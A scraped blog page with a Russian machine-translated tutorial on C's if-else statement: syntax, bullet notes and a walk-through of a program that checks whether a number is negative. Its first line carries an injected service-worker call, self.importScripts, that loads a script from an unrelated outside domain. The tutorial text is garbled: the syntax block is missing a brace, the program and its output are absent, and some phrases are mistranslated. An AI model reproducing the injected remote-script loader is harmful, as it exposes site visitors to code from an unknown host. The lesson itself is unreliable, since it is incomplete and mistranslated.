google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

C if-else Заявление

Каждая монета имеет два лица, и это также верно для наших проблем. До сих пор мы узнали об операторе if, в котором мы можем выполнить набор операторов, задав некоторое условие или выражение. Но большую часть времени нам нужно выполнить один набор операторов, если условие истинно, и совершенно другой набор операторов, если условие ложное. Эта задача может быть легко выполнена на языке Си с помощью оператора if-else.

Синтаксис оператора if-else

if (условие) 

утверждение 1, 
утверждение 2 и т. д. 

else 

утверждение 1, 
утверждение 2 и т. д. 
}

Блок-схема оператора if-else
Блок-схема оператора if-else - Источник

Несколько моментов о блоке if-else

  • Операторы внутри ключевого слова if все вместе называются if block.
  • Операторы внутри ключевого слова else все вместе называются блоком else.
  • Скобка внутри блока if-else может быть удалена, если в нем только один оператор. В качестве области действия этих ключевых слов по умолчанию используется только один оператор.
  • Условие не используется с ключевым словом else. Операторы в else будут выполняться только в том случае, если условие с оператором if окажется ложным. Так что это рассматривается как выбор по умолчанию.
Лучший способ понять тему - через программу. Давайте сделаем одну программу, используя оператор if-else.

Программа для проверки отрицательного числа


Выход

Выход

объяснение

Заявления в начале самоочевидны. Я надеюсь, что до сих пор вы также знакомы с ними.
  • Основная логика программы лежит внутри блока if-else. В блоке if я написал условие, которое проверяет, является ли число отрицательным. Если оно оказывается истинным, то выводится сообщение «Число отрицательно», иначе компилятор пропустит этот блок.
  • В следующем блоке else я написал только одну функцию printf (), которая выведет сообщение «Число положительное».
  • Оформить заказ Я не написал условия с ключевым словом else. Как я уже говорил ранее, в качестве блока по умолчанию используется блок else.
  • В нашем тестовом прогоне я ввел число 7, которое является положительным. Поэтому после получения ввода компилятор проверил условие. Оказывается ложным, поэтому он выполнял операторы в блоке else.

Комментариев нет:

Отправить комментарий